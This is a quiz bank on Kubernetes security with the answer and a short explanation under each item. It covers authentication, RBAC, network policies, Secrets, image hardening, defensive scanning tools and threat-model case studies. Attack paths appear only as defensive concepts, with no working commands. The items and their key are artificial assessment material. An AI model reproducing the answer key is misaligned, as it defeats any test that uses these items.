7. Kubernetes security features and cluster-hardening practices

39 questions. Correct answers and explanations appear immediately below each item.

Q163. [Control identification] Which Kubernetes security feature best matches this purpose: Establish the identity of a user, node, or component before access is considered?

- A. Authentication
 - B. Kubernetes Secrets
 - C. Audit logging
 - D. Pod security controls
- Answer: A. Authentication**

Why: Authentication is used to establish the identity of a user, node, or component before access is considered. Client certificates, OpenID, and token-based methods are examples.

Lecture source: p. 15

Q164. [Scenario] A team needs a control that will establish the identity of a user, node, or component before access is considered. Which choice is the best fit?

- A. Pod security controls
 - B. Audit logging
 - C. Kubernetes Secrets
 - D. Authentication
- Answer: D. Authentication**

Why: Use authentication. Client certificates, OpenID, and token-based methods are examples.

Lecture source: p. 15

Q165. [Control identification] Which Kubernetes security feature best matches this purpose: Decide which actions an authenticated identity is permitted to perform?

- A. Network policies
 - B. Pod security controls
 - C. Audit logging
 - D. Authorization
- Answer: D. Authorization**

Why: Authorization is used to decide which actions an authenticated identity is permitted to perform. RBAC, ABAC, Node, and Webhook modes are examples.

Lecture source: p. 15

Q166. [Scenario] A team needs a control that will decide which actions an authenticated identity is permitted to perform. Which choice is the best fit?

- A. Audit logging
 - B. Pod security controls
 - C. Network policies
 - D. Authorization
- Answer: D. Authorization**

Why: Use authorization. RBAC, ABAC, Node, and Webhook modes are examples.

Lecture source: p. 15

Q167. [Control identification] Which Kubernetes security feature best matches this purpose: Record and periodically review security-relevant events?

- A. Audit logging
 - B. Kubernetes Secrets
 - C. Pod security controls
 - D. Authorization
- Answer: A. Audit logging**

Why: Audit logging is used to record and periodically review security-relevant events. Audit evidence helps detect misuse and investigate incidents.

Lecture source: p. 15

Q168. [Scenario] A team needs a control that will record and periodically review security-relevant events. Which choice is the best fit?

- A. Authorization
- B. Kubernetes Secrets
- C. Audit logging
- D. Pod security controls

Answer: C. Audit logging

Why: Use audit logging. Audit evidence helps detect misuse and investigate incidents.

Lecture source: p. 15

Q169. [Control identification] Which Kubernetes security feature best matches this purpose: Constrain permitted communication paths between pods and services?

- A. Pod security controls
- B. Audit logging
- C. Authorization
- D. Network policies

Answer: D. Network policies

Why: Network policies is used to constrain permitted communication paths between pods and services. Policies reduce reachability beyond the required application flows.

Lecture source: p. 15

Q170. [Scenario] A team needs a control that will constrain permitted communication paths between pods and services. Which choice is the best fit?

- A. Pod security controls
- B. Authorization
- C. Audit logging
- D. Network policies

Answer: D. Network policies

Why: Use network policies. Policies reduce reachability beyond the required application flows.

Lecture source: p. 15

Q171. [Control identification] Which Kubernetes security feature best matches this purpose: Constrain unsafe pod-level settings and privileges?

- A. Authorization
- B. Pod security controls
- C. Authentication
- D. Kubernetes Secrets

Answer: B. Pod security controls

Why: Pod security controls is used to constrain unsafe pod-level settings and privileges. Pod-level policy reduces the risk of dangerous workload configurations.

Lecture source: p. 15

Q172. [Scenario] A team needs a control that will constrain unsafe pod-level settings and privileges. Which choice is the best fit?

- A. Authorization
- B. Pod security controls
- C. Kubernetes Secrets
- D. Authentication

Answer: B. Pod security controls

Why: Use pod security controls. Pod-level policy reduces the risk of dangerous workload configurations.

Lecture source: p. 15

Q173. [Control identification] Which Kubernetes security feature best matches this purpose: Store sensitive values using the platform mechanism intended for secrets rather than ordinary ConfigMaps?

- A. Pod security controls
- B. Kubernetes Secrets
- C. Audit logging
- D. Authentication

Answer: B. Kubernetes Secrets

Why: Kubernetes Secrets is used to store sensitive values using the platform mechanism intended for secrets rather than ordinary configmaps. Secrets handling should be combined with strict access controls.

Lecture source: p. 15

Q174. [Scenario] A team needs a control that will store sensitive values using the platform mechanism intended for secrets rather than ordinary configmaps. Which choice is the best fit?

- A. Audit logging
- B. Authentication
- C. Kubernetes Secrets
- D. Pod security controls

Answer: C. Kubernetes Secrets

Why: Use kubernetes secrets. Secrets handling should be combined with strict access controls.

Lecture source: p. 15

Q175. [Comparison] What is the difference between authentication and authorization?

- A. There is no difference
- B. Authentication stores secrets; authorization performs vulnerability scans
- C. Authentication establishes identity; authorization decides permitted actions
- D. Authentication defines network routes; authorization builds images

Answer: C. Authentication establishes identity; authorization decides permitted actions

Why: Both are required: a known identity should still receive only necessary privileges.

Lecture source: p. 15

Q176. [Single answer] Why should audit logs be reviewed periodically rather than merely enabled?

- A. Reviewing logs automatically makes every pod non-root
- B. Recorded events provide value only when suspicious behavior can be detected and investigated
- C. Logs replace authorization controls completely
- D. Logs prevent all vulnerabilities from entering images

Answer: B. Recorded events provide value only when suspicious behavior can be detected and investigated

Why: Operational monitoring is necessary to act on audit evidence.

Lecture source: p. 15

Q177. [Single answer] What is the lecture-defined default pod-networking concern?

- A. Network policies are relevant only to container-image signing
- B. Only the scheduler can send network traffic
- C. Pods may communicate broadly unless network policies restrict the paths
- D. Pods are always isolated from all other pods automatically

Answer: C. Pods may communicate broadly unless network policies restrict the paths

Why: Add network policies to limit unnecessary reachability.

Lecture source: p. 15

Q178. [Scenario] A team stores database passwords in ordinary ConfigMaps. What is the most appropriate improvement?

- A. Attach the credentials to the :latest tag
- B. Expose the ConfigMaps more broadly for availability
- C. Use Kubernetes Secrets and restrict access to the workloads that need them
- D. Copy the passwords into audit logs

Answer: C. Use Kubernetes Secrets and restrict access to the workloads that need them

Why: Sensitive values should use the secret-handling mechanism plus least privilege.

Lecture source: p. 15

Q179. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Limit the damage that a workload can cause if compromised?

- A. Minimize application privileges on the host
- B. Check images and deployments for vulnerabilities periodically
- C. Know and review the base image
- D. Prefer smaller container images

Answer: A. Minimize application privileges on the host

Why: Minimize application privileges on the host helps limit the damage that a workload can cause if compromised.

Lecture source: p. 16

Q180. [Scenario] A team wants to limit the damage that a workload can cause if compromised. Which action is the most appropriate?

- A. Minimize application privileges on the host
- B. Store sensitive values in plain ConfigMaps
- C. Disable monitoring and vulnerability checks
- D. Grant broad administrator rights to every workload

Answer: A. Minimize application privileges on the host

Why: Minimize application privileges on the host is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q181. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Reduce hidden supply-chain and package risks?

- A. Minimize application privileges on the host
- B. Know and review the base image
- C. Check images and deployments for vulnerabilities periodically
- D. Avoid relying on the :latest tag

Answer: B. Know and review the base image

Why: Know and review the base image helps reduce hidden supply-chain and package risks.

Lecture source: p. 16

Q182. [Scenario] A team wants to reduce hidden supply-chain and package risks. Which action is the most appropriate?

- A. Grant broad administrator rights to every workload
- B. Disable monitoring and vulnerability checks
- C. Know and review the base image
- D. Store sensitive values in plain ConfigMaps

Answer: C. Know and review the base image

Why: Know and review the base image is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q183. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Reduce unnecessary components and attack surface?

- A. Know and review the base image
- B. Prefer smaller container images
- C. Limit host mounts
- D. Minimize application privileges on the host

Answer: B. Prefer smaller container images

Why: Prefer smaller container images helps reduce unnecessary components and attack surface.

Lecture source: p. 16

Q184. [Scenario] A team wants to reduce unnecessary components and attack surface. Which action is the most appropriate?

- A. Disable monitoring and vulnerability checks
- B. Store sensitive values in plain ConfigMaps
- C. Grant broad administrator rights to every workload
- D. Prefer smaller container images

Answer: D. Prefer smaller container images

Why: Prefer smaller container images is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q185. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Improve reproducibility and reduce unexpected image changes?

- A. Apply a TLS checklist for the cluster
- B. Minimize application privileges on the host
- C. Avoid relying on the :latest tag
- D. Prefer smaller container images

Answer: C. Avoid relying on the :latest tag

Why: Avoid relying on the :latest tag helps improve reproducibility and reduce unexpected image changes.

Lecture source: p. 16

Q186. [Scenario] A team wants to improve reproducibility and reduce unexpected image changes. Which action is the most appropriate?

- A. Disable monitoring and vulnerability checks
- B. Store sensitive values in plain ConfigMaps
- C. Grant broad administrator rights to every workload
- D. Avoid relying on the :latest tag

Answer: D. Avoid relying on the :latest tag

Why: Avoid relying on the :latest tag is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q187. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Detect newly disclosed or introduced weaknesses?

- A. Do not run workloads as root by default
- B. Apply a TLS checklist for the cluster
- C. Minimize application privileges on the host
- D. Check images and deployments for vulnerabilities periodically

Answer: D. Check images and deployments for vulnerabilities periodically

Why: Check images and deployments for vulnerabilities periodically helps detect newly disclosed or introduced weaknesses.

Lecture source: p. 16

Q188. [Scenario] A team wants to detect newly disclosed or introduced weaknesses. Which action is the most appropriate?

- A. Grant broad administrator rights to every workload
- B. Check images and deployments for vulnerabilities periodically
- C. Disable monitoring and vulnerability checks
- D. Store sensitive values in plain ConfigMaps

Answer: B. Check images and deployments for vulnerabilities periodically

Why: Check images and deployments for vulnerabilities periodically is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q189. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Reduce the privileges available after compromise?

- A. Limit host mounts
- B. Minimize application privileges on the host
- C. Do not run workloads as root by default
- D. Avoid relying on the :latest tag

Answer: C. Do not run workloads as root by default

Why: Do not run workloads as root by default helps reduce the privileges available after compromise.

Lecture source: p. 16

Q190. [Scenario] A team wants to reduce the privileges available after compromise. Which action is the most appropriate?

- A. Store sensitive values in plain ConfigMaps
- B. Do not run workloads as root by default
- C. Grant broad administrator rights to every workload
- D. Disable monitoring and vulnerability checks

Answer: B. Do not run workloads as root by default

Why: Do not run workloads as root by default is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q191. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Preserve isolation between workloads and the node?

- A. Minimize application privileges on the host
- B. Limit host mounts
- C. Check images and deployments for vulnerabilities periodically
- D. Prefer smaller container images

Answer: B. Limit host mounts

Why: Limit host mounts helps preserve isolation between workloads and the node.

Lecture source: p. 16

Q192. [Scenario] A team wants to preserve isolation between workloads and the node. Which action is the most appropriate?

- A. Limit host mounts
- B. Store sensitive values in plain ConfigMaps
- C. Grant broad administrator rights to every workload
- D. Disable monitoring and vulnerability checks

Answer: A. Limit host mounts

Why: Limit host mounts is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q193. [Hardening choice] Which Kubernetes hardening practice most directly supports this objective: Protect sensitive cluster communications appropriately?

- A. Apply a TLS checklist for the cluster
- B. Avoid relying on the :latest tag
- C. Know and review the base image
- D. Limit host mounts

Answer: A. Apply a TLS checklist for the cluster

Why: Apply a TLS checklist for the cluster helps protect sensitive cluster communications appropriately.

Lecture source: p. 16

Q194. [Scenario] A team wants to protect sensitive cluster communications appropriately. Which action is the most appropriate?

- A. Disable monitoring and vulnerability checks
- B. Grant broad administrator rights to every workload
- C. Store sensitive values in plain ConfigMaps
- D. Apply a TLS checklist for the cluster

Answer: D. Apply a TLS checklist for the cluster

Why: Apply a TLS checklist for the cluster is the relevant attack-surface reduction measure.

Lecture source: p. 16

Q195. [Select all that apply] Which practices reduce the attack surface of Kubernetes workloads and nodes? Select all that apply.

- A. Limit host mounts
- B. Grant every application host-admin privileges
- C. Use smaller reviewed images
- D. Check vulnerabilities periodically
- E. Avoid running as root
- F. Use :latest tags so image identity remains ambiguous

Answer: A. Limit host mounts; C. Use smaller reviewed images; D. Check vulnerabilities periodically; E. Avoid running as root

Why: Hardening removes unnecessary components and limits the privileges available to an attacker.

Lecture source: p. 16

Q196. [Select all that apply] Which controls help reduce the impact of a stolen service-account token? Select all that apply.

- A. Give the service account cluster-admin permissions to simplify debugging
- B. Short-lived or carefully managed credentials where supported
- C. Network policies limiting reachable services
- D. Audit-log monitoring
- E. Least-privilege RBAC

Answer: B. Short-lived or carefully managed credentials where supported; C. Network policies limiting reachable services; D. Audit-log monitoring; E. Least-privilege RBAC

Why: Defense in depth constrains what a stolen token can do and improves detection.

Lecture source: pp. 9, 15-16

Q197. [EXCEPT / NOT] Which is NOT consistent with least-privilege container hardening?

- A. Avoid unnecessary host mounts
- B. Grant only required API permissions
- C. Run every workload as root and mount the host filesystem for convenience
- D. Remove unnecessary packages from images

Answer: C. Run every workload as root and mount the host filesystem for convenience

Why: Root privileges and broad host mounts increase blast radius.

Lecture source: p. 16

Q198. [True / False] Using a smaller image can reduce attack surface by removing unnecessary components.

A. False

B. True

Answer: B. True

Why: Smaller reviewed images generally include fewer unnecessary packages and tools.

Lecture source: p. 16

Q199. [True / False] Using the :latest tag is the best way to guarantee reproducible image identity.

A. True

B. False

Answer: B. False

Why: The guidance says not to rely on :latest; pin reviewed versions or digests.

Lecture source: p. 16

Q200. [True / False] Kubernetes Secrets should still be protected with authorization controls.

A. True

B. False

Answer: A. True

Why: Using a Secret object does not remove the need for strict access control.

Lecture source: p. 15

Q201. [True / False] TLS configuration is relevant to Kubernetes cluster hardening.

A. True

B. False

Answer: A. True

Why: The best-practices slide includes a TLS checklist for the cluster.

Lecture source: p. 16

8. Open-source tooling and secure operational workflows

20 questions. Correct answers and explanations appear immediately below each item.

Q202. [Tool selection] Which tool or resource is the best match for this authorized defensive task: Check whether Kubernetes is deployed securely against hardening expectations?

- A. Kubescape
- B. Clair
- C. kube-bench
- D. Notary

Answer: C. kube-bench

Why: kube-bench is suited to check whether kubernetes is deployed securely against hardening expectations.

Lecture source: pp. 17-18

Q203. [Scenario] A security team needs to check whether kubernetes is deployed securely against hardening expectations. Which option should it evaluate first?

- A. Kubescape
- B. Clair
- C. kube-bench
- D. Notary

Answer: C. kube-bench

Why: The lecture associates this task with kube-bench.

Lecture source: pp. 17-18

Q204. [Tool selection] Which tool or resource is the best match for this authorized defensive task: Perform security-risk analysis for Kubernetes resources or manifests?

- A. CNCF security landscape
- B. kube-bench
- C. Kubescape
- D. Kubesec

Answer: D. Kubesec

Why: Kubesec is suited to perform security-risk analysis for kubernetes resources or manifests.

Lecture source: pp. 17-18

Q205. [Scenario] A security team needs to perform security-risk analysis for kubernetes resources or manifests. Which option should it evaluate first?

- A. Kubesec
- B. CNCF security landscape
- C. Kubescape
- D. kube-bench

Answer: A. Kubesec

Why: The lecture associates this task with Kubesec.

Lecture source: pp. 17-18

Q206. [Tool selection] Which tool or resource is the best match for this authorized defensive task: Perform static analysis for vulnerabilities in container images?

- A. CNCF security landscape
- B. Clair
- C. Kubescape
- D. Kubesec

Answer: B. Clair

Why: Clair is suited to perform static analysis for vulnerabilities in container images.

Lecture source: pp. 17-18

Q207. [Scenario] A security team needs to perform static analysis for vulnerabilities in container images. Which option should it evaluate first?

- A. CNCF security landscape
- B. Clair
- C. Kubescape
- D. Kubesec

Answer: B. Clair

Why: The lecture associates this task with Clair.

Lecture source: pp. 17-18

Q208. [Tool selection] Which tool or resource is the best match for this authorized defensive task: Scan clusters, Kubernetes manifest files, code repositories, container registries, and images?

- A. kube-bench
- B. Kubescape
- C. Clair
- D. CNCF security landscape

Answer: B. Kubescape

Why: Kubescape is suited to scan clusters, kubernetes manifest files, code repositories, container registries, and images.

Lecture source: pp. 17-18

Q209. [Scenario] A security team needs to scan clusters, kubernetes manifest files, code repositories, container registries, and images. Which option should it evaluate first?

- A. CNCF security landscape
- B. Kubescape
- C. Clair
- D. kube-bench

Answer: B. Kubescape

Why: The lecture associates this task with Kubescape.

Lecture source: pp. 17-18

Q210. [Tool selection] Which tool or resource is the best match for this authorized defensive task: Sign and verify artifacts and support secure software distribution or updates?

- A. Notary
- B. Clair
- C. CNCF security landscape
- D. kube-bench

Answer: A. Notary

Why: Notary is suited to sign and verify artifacts and support secure software distribution or updates.

Lecture source: pp. 17-18

Q211. [Scenario] A security team needs to sign and verify artifacts and support secure software distribution or updates. Which option should it evaluate first?

- A. Clair
- B. CNCF security landscape
- C. Notary
- D. kube-bench

Answer: C. Notary

Why: The lecture associates this task with Notary.

Lecture source: pp. 17-18

Q212. [Tool selection] Which tool or resource is the best match for this authorized defensive task: Discover and track a broad ecosystem of cloud-native security projects?

- A. Kubescape
- B. Clair
- C. Kubesec
- D. CNCF security landscape

Answer: D. CNCF security landscape

Why: CNCF security landscape is suited to discover and track a broad ecosystem of cloud-native security projects.

Lecture source: pp. 17-18

Q213. [Scenario] A security team needs to discover and track a broad ecosystem of cloud-native security projects. Which option should it evaluate first?

- A. CNCF security landscape
- B. Clair
- C. Kubescape
- D. Kubesec

Answer: A. CNCF security landscape

Why: The lecture associates this task with CNCF security landscape.

Lecture source: pp. 17-18

Q214. [Comparison] Which tool choice best distinguishes manifest risk analysis from container-image vulnerability analysis?

- A. Use Clair only for API authentication and Kubesec only for DNS resolution
- B. Use Notary only for log review and kube-bench only for image publishing
- C. Use Kubesec for Kubernetes-resource risk analysis and Clair for container-image vulnerability analysis
- D. There is no distinction between resources and images

Answer: C. Use Kubesec for Kubernetes-resource risk analysis and Clair for container-image vulnerability analysis

Why: Different tools inspect different layers of the deployment.

Lecture source: p. 17

Q215. [Scenario] A team wants one platform that can inspect clusters, manifests, repositories, registries, and images. Which option is the best fit?

- A. A static token file
- B. Notary
- C. Kubescape
- D. Kube-proxy

Answer: C. Kubescape

Why: Kubescape is presented as a broad scanning platform.

Lecture source: p. 17

Q216. [Scenario] A team wants to ensure that released artifacts can be verified before deployment. Which tool category is most directly relevant?

- A. Only workload scheduling
- B. Artifact signing and verification with Notary
- C. Only DNS monitoring
- D. Only pod-to-pod routing

Answer: B. Artifact signing and verification with Notary

Why: Artifact signing supports integrity of distributed software.

Lecture source: p. 17

Q217. [Scenario] A team wants to assess whether a Kubernetes deployment follows hardening expectations. Which tool is the most natural starting point?

- A. Kube-proxy
- B. etcd
- C. kube-bench
- D. Clair

Answer: C. kube-bench

Why: kube-bench checks whether Kubernetes is securely deployed.

Lecture source: p. 17

Q218. [EXCEPT / NOT] Which is NOT a sensible reason to use the CNCF security landscape?

- A. To memorize every logo as a substitute for risk analysis
- B. To discover tools in the cloud-native security ecosystem
- C. To explore categories of security and compliance tooling
- D. To keep track of evolving defensive options

Answer: A. To memorize every logo as a substitute for risk analysis

Why: The landscape is a discovery resource, not a replacement for system-specific threat modeling.

Lecture source: p. 18

Q219. [Select all that apply] Which pairings are accurate? Select all that apply.

- A. Notary - artifact signing and verification
- B. Clair - container vulnerability analysis
- C. Kubescape - broad cluster and supply-chain scanning
- D. kube-bench - deployment hardening checks
- E. Kubesec - Kubernetes-resource risk analysis
- F. Kube-proxy - static analysis of container images

Answer: A. Notary - artifact signing and verification; B. Clair - container vulnerability analysis; C. Kubescape - broad cluster and supply-chain scanning; D. kube-bench - deployment hardening checks; E. Kubesec - Kubernetes-resource risk analysis

Why: The tools cover complementary defensive tasks across deployment configuration, manifests, images, broad scanning, and artifact integrity.

Lecture source: p. 17

Q220. [True / False] Artifact signing helps address integrity risks in the software supply chain.

- A. True
- B. False

Answer: A. True

Why: Signing and verification can help detect unauthorized artifact changes.

Lecture source: p. 17

Q221. [True / False] A vulnerability scanner eliminates the need for least privilege, network policies, and audit logging.

- A. False
- B. True

Answer: A. False

Why: Scanning is one control among many; defense in depth remains necessary.

Lecture source: pp. 15-17

9. Integrated scenarios, MAQs, and misconception checks

39 questions. Correct answers and explanations appear immediately below each item.

Q222. [Mini case study] Case 1: A workload runs as root, mounts the host filesystem, and uses an overprivileged service account. What is the best response?

- A. Move every sensitive value into an ordinary ConfigMap
- B. Reduce privileges, remove unnecessary host mounts, and tighten RBAC.
- C. Assume the cluster is secure because Kubernetes is widely used
- D. Disable all audit logs and expand the workload privileges

Answer: B. Reduce privileges, remove unnecessary host mounts, and tighten RBAC.

Why: The workload has multiple paths for host impact and API abuse.

Lecture source: pp. 8-18

Q223. [Mini case study] Case 2: A deployment references :latest and the registry publishing credential is also used by workloads for image pulls. What is the best response?

- A. Disable all audit logs and expand the workload privileges
- B. Assume the cluster is secure because Kubernetes is widely used
- C. Move every sensitive value into an ordinary ConfigMap
- D. Pin reviewed image versions or digests and separate read-only pull credentials from publishing credentials.

Answer: D. Pin reviewed image versions or digests and separate read-only pull credentials from publishing credentials.

Why: Mutable tags and overprivileged registry credentials increase supply-chain risk.

Lecture source: pp. 8-18

Q224. [Mini case study] Case 3: All pods can reach an internal administrative service even though only one namespace requires access. What is the best response?

- A. Introduce restrictive network policies that allow only required communication paths.
- B. Disable all audit logs and expand the workload privileges
- C. Assume the cluster is secure because Kubernetes is widely used
- D. Move every sensitive value into an ordinary ConfigMap

Answer: A. Introduce restrictive network policies that allow only required communication paths.

Why: Reachability should follow least privilege.

Lecture source: pp. 8-18

Q225. [Mini case study] Case 4: Audit logging is enabled, but no one reviews the events and alerts are absent. What is the best response?

- A. Disable all audit logs and expand the workload privileges
- B. Establish periodic review and detection workflows for audit events.
- C. Assume the cluster is secure because Kubernetes is widely used
- D. Move every sensitive value into an ordinary ConfigMap

Answer: B. Establish periodic review and detection workflows for audit events.

Why: A log that is never analyzed provides limited operational value.

Lecture source: pp. 8-18

Q226. [Mini case study] Case 5: A team scans images but never reviews RBAC roles or service-account permissions. What is the best response?

- A. Disable all audit logs and expand the workload privileges
- B. Move every sensitive value into an ordinary ConfigMap
- C. Add authorization review because image hygiene does not address excessive API privileges.
- D. Assume the cluster is secure because Kubernetes is widely used

Answer: C. Add authorization review because image hygiene does not address excessive API privileges.

Why: Controls must cover multiple layers and attack paths.

Lecture source: pp. 8-18

Q227. [Mini case study] Case 6: A cluster can recover from a pod restart, but malicious code returns because a persistent volume was modified. What is the best response?

- A. Investigate persistent configuration, clean the durable state, and remove the attacker access path.
- B. Disable all audit logs and expand the workload privileges
- C. Move every sensitive value into an ordinary ConfigMap
- D. Assume the cluster is secure because Kubernetes is widely used

Answer: A. Investigate persistent configuration, clean the durable state, and remove the attacker access path.

Why: Recovery must consider persistence, not only replacement of the running container.

Lecture source: pp. 8-18

Q228. [Mini case study] Case 7: Pods remain healthy but service discovery fails throughout the cluster. What is the best response?

- A. Disable all audit logs and expand the workload privileges
- B. Investigate the DNS service and the networking path that supports name resolution.
- C. Move every sensitive value into an ordinary ConfigMap
- D. Assume the cluster is secure because Kubernetes is widely used

Answer: B. Investigate the DNS service and the networking path that supports name resolution.

Why: Availability failures may occur even while containers are still running.

Lecture source: pp. 8-18

Q229. [Mini case study] Case 8: New pods cannot be placed after a node failure even though some running pods remain available. What is the best response?

- A. Move every sensitive value into an ordinary ConfigMap
- B. Assume the cluster is secure because Kubernetes is widely used
- C. Investigate scheduler availability and worker capacity.
- D. Disable all audit logs and expand the workload privileges

Answer: C. Investigate scheduler availability and worker capacity.

Why: Scheduling disruption affects recovery and new workload placement.

Lecture source: pp. 8-18

Q230. [Mini case study] Case 9: An attacker steals a service-account token and can retrieve secrets. What is the best response?

- A. Move every sensitive value into an ordinary ConfigMap
- B. Disable all audit logs and expand the workload privileges
- C. Assume the cluster is secure because Kubernetes is widely used
- D. Rotate or revoke the credential, investigate audit evidence, and reduce secret-reading RBAC privileges.

Answer: D. Rotate or revoke the credential, investigate audit evidence, and reduce secret-reading RBAC privileges.

Why: Containment and authorization review are both required.

Lecture source: pp. 8-18

Q231. [Mini case study] Case 10: A worker joins the cluster through an abused bootstrap mechanism. What is the best response?

- A. Assume the cluster is secure because Kubernetes is widely used
- B. Protect join credentials, validate certificate issuance, and investigate the newly trusted node.
- C. Move every sensitive value into an ordinary ConfigMap
- D. Disable all audit logs and expand the workload privileges

Answer: B. Protect join credentials, validate certificate issuance, and investigate the newly trusted node.

Why: Worker enrollment crosses a high-impact trust boundary.

Lecture source: pp. 8-18

Q232. [Select all that apply] A threat model for a sensitive Kubernetes service should include which assets and paths? Select all that apply.

- A. Service-account tokens and secrets
- B. Container-image supply chain
- C. etcd and durable cluster state
- D. API-server access paths
- E. Pod-network communication paths
- F. Only the visual design of the web dashboard

Answer: A. Service-account tokens and secrets; B. Container-image supply chain; C. etcd and durable cluster state; D. API-server access paths; E. Pod-network communication paths

Why: High-value assets include management interfaces, durable state, credentials, supply-chain artifacts, and communication paths.

Lecture source: pp. 7-16

Q233. [Select all that apply] Which statements correctly apply defense-in-depth reasoning to Kubernetes? Select all that apply.

- A. Using Secrets does not remove the need for access control
- B. Image scanning does not remove the need for artifact integrity controls
- C. Safe application code does not remove the need for cluster authorization
- D. Network policies do not remove the need for RBAC
- E. A cloud-provider control automatically makes every container safe

Answer: A. Using Secrets does not remove the need for access control; B. Image scanning does not remove the need for artifact integrity controls; C. Safe application code does not remove the need for cluster authorization; D. Network policies do not remove the need for RBAC

Why: The 4Cs and attack trees show that controls must cover multiple layers and paths.

Lecture source: pp. 6, 9-17

Q234. [Select all that apply] A compromised container should trigger investigation of which follow-on paths? Select all that apply.

- A. Mounted runtime sockets
- B. Service-account tokens
- C. Mounted host filesystems
- D. Reachable internal endpoints
- E. Only the container process list and nothing else
- F. Persistent volumes and cluster resources

Answer: A. Mounted runtime sockets; B. Service-account tokens; C. Mounted host filesystems; D. Reachable internal endpoints; F. Persistent volumes and cluster resources

Why: Container compromise can create host, runtime, credential, network, and persistence paths.

Lecture source: pp. 12-14

Q235. [EXCEPT / NOT] Which statement about Kubernetes Secrets and trust boundaries is NOT correct?

- A. If a workload uses Kubernetes Secrets, it no longer needs RBAC controls
- B. Host mounts can weaken container isolation
- C. A stolen token may be dangerous when associated permissions are broad
- D. Threat modeling should include trust-boundary crossings

Answer: A. If a workload uses Kubernetes Secrets, it no longer needs RBAC controls

Why: Secrets still require least-privilege access controls.

Lecture source: pp. 8-16

Q236. [EXCEPT / NOT] Which statement about image and runtime hardening is NOT correct?

- A. Pinned image identities improve reproducibility
- B. Periodic vulnerability checks remain useful after deployment
- C. Running as root is harmless whenever an image is scanned once
- D. Smaller images can reduce attack surface

Answer: C. Running as root is harmless whenever an image is scanned once

Why: Scanning does not remove the impact of excessive runtime privileges.

Lecture source: p. 16

Q237. [Comparison] Why should a team model both malicious-image deployment and runtime container compromise?

- A. Only the cloud provider can reason about either path
- B. They are related but distinct paths: one enters through the supply chain, while the other concerns execution and follow-on actions
- C. They are exactly the same event and no distinction is useful
- D. Neither path can affect credentials or persistence

Answer: B. They are related but distinct paths: one enters through the supply chain, while the other concerns execution and follow-on actions

Why: A complete model considers initial compromise paths and the attacker actions that follow.

Lecture source: pp. 12-14

Q238. [Comparison] Why is least-privilege RBAC necessary even when authentication is strong?

- A. A correctly authenticated identity should still be allowed to perform only the actions it needs
- B. Strong authentication removes the need for audit logging
- C. Authorization is relevant only to public websites
- D. Authentication automatically grants cluster-admin rights safely

Answer: A. A correctly authenticated identity should still be allowed to perform only the actions it needs

Why: Authentication answers who; authorization answers what that identity may do.

Lecture source: p. 15

Q239. [Comparison] Why are network policies and RBAC complementary rather than interchangeable?

- A. Both controls only scan images
- B. Neither control affects attacker movement
- C. Network policies constrain communication paths, while RBAC constrains authorized API actions
- D. Both controls only sign artifacts

Answer: C. Network policies constrain communication paths, while RBAC constrains authorized API actions

Why: Different controls restrict different dimensions of attacker behavior.

Lecture source: pp. 9, 15

Q240. [Sequence] Which sequence is the most plausible supply-chain compromise path?

- A. Scan an image, review RBAC, and rotate a secret
- B. Create a network policy, limit host mounts, and remove unused packages
- C. Enable audit logging, pin a digest, verify a signature, and reduce privileges
- D. Steal an overprivileged registry credential, poison an image, deploy the image through a normal workflow, and obtain execution in a workload

Answer: D. Steal an overprivileged registry credential, poison an image, deploy the image through a normal workflow, and obtain execution in a workload

Why: The sequence follows the poisoned-image path shown in the threat model.

Lecture source: p. 12

Q241. [Sequence] Which sequence is the most plausible API-abuse path after a container compromise?

- A. Run kube-bench, then assume no further controls are required
- B. Disable a network policy, then automatically verify every artifact
- C. Pin a reviewed image digest, remove root privileges, and enable TLS
- D. Gain execution in a pod, obtain a service-account token, use permitted API actions, and expand access or retrieve secrets

Answer: D. Gain execution in a pod, obtain a service-account token, use permitted API actions, and expand access or retrieve secrets

Why: The threat model links execution, stolen credentials, RBAC permissions, and API actions.

Lecture source: pp. 14-15

Q242. [Sequence] Which sequence best represents a sound defensive workflow for a new Kubernetes workload?

- A. Store every credential in a ConfigMap and expose every endpoint
- B. Skip architecture review because a scanner is available
- C. Model the system and trust boundaries, review images and permissions, apply controls, deploy, monitor, and validate assumptions
- D. Deploy with root privileges and :latest, then disable logs to reduce cost

Answer: C. Model the system and trust boundaries, review images and permissions, apply controls, deploy, monitor, and validate assumptions

Why: Threat modeling and operational controls should be combined and validated.

Lecture source: pp. 4, 15-17

Q243. [True / False] A standardized Kubernetes deployment is secure automatically, so threat modeling is unnecessary.

- A. False
- B. True

Answer: A. False

Why: Deployments differ in identity, authorization, networking, images, and infrastructure assumptions.

Lecture source: pp. 4-18

Q244. [True / False] A scanner is useful, but it does not replace least privilege and architectural analysis.

- A. True
- B. False

Answer: A. True

Why: Automated checks are complementary controls.

Lecture source: pp. 4-18

Q245. [True / False] Running a container as non-root can reduce the damage available after compromise.

- A. False
- B. True

Answer: B. True

Why: Reduced runtime privilege is an explicit hardening practice.

Lecture source: pp. 4-18

Q246. [True / False] A read-only image-pull secret should normally be separated from registry publishing credentials.

- A. True
- B. False

Answer: A. True

Why: Separating capabilities limits supply-chain compromise.

Lecture source: pp. 4-18

Q247. [True / False] A network policy can help restrict lateral movement between workloads.

A. True

B. False

Answer: A. True

Why: Network policies reduce unnecessary reachability.

Lecture source: pp. 4-18

Q248. [True / False] An attacker who cannot reach the API server can never cause any harm from a compromised pod.

A. True

B. False

Answer: B. False

Why: The pod may still access internal endpoints, credentials, data stores, mounts, or runtime interfaces.

Lecture source: pp. 4-18

Q249. [True / False] Protecting etcd matters because it stores durable cluster state.

A. True

B. False

Answer: A. True

Why: State compromise can create high-impact and persistent changes.

Lecture source: pp. 4-18

Q250. [True / False] Audit logs are most valuable when paired with review and response procedures.

A. True

B. False

Answer: A. True

Why: Detection and investigation require operational use of the evidence.

Lecture source: pp. 4-18

Q251. [True / False] Using :latest improves confidence that the reviewed artifact is the one deployed.

A. False

B. True

Answer: A. False

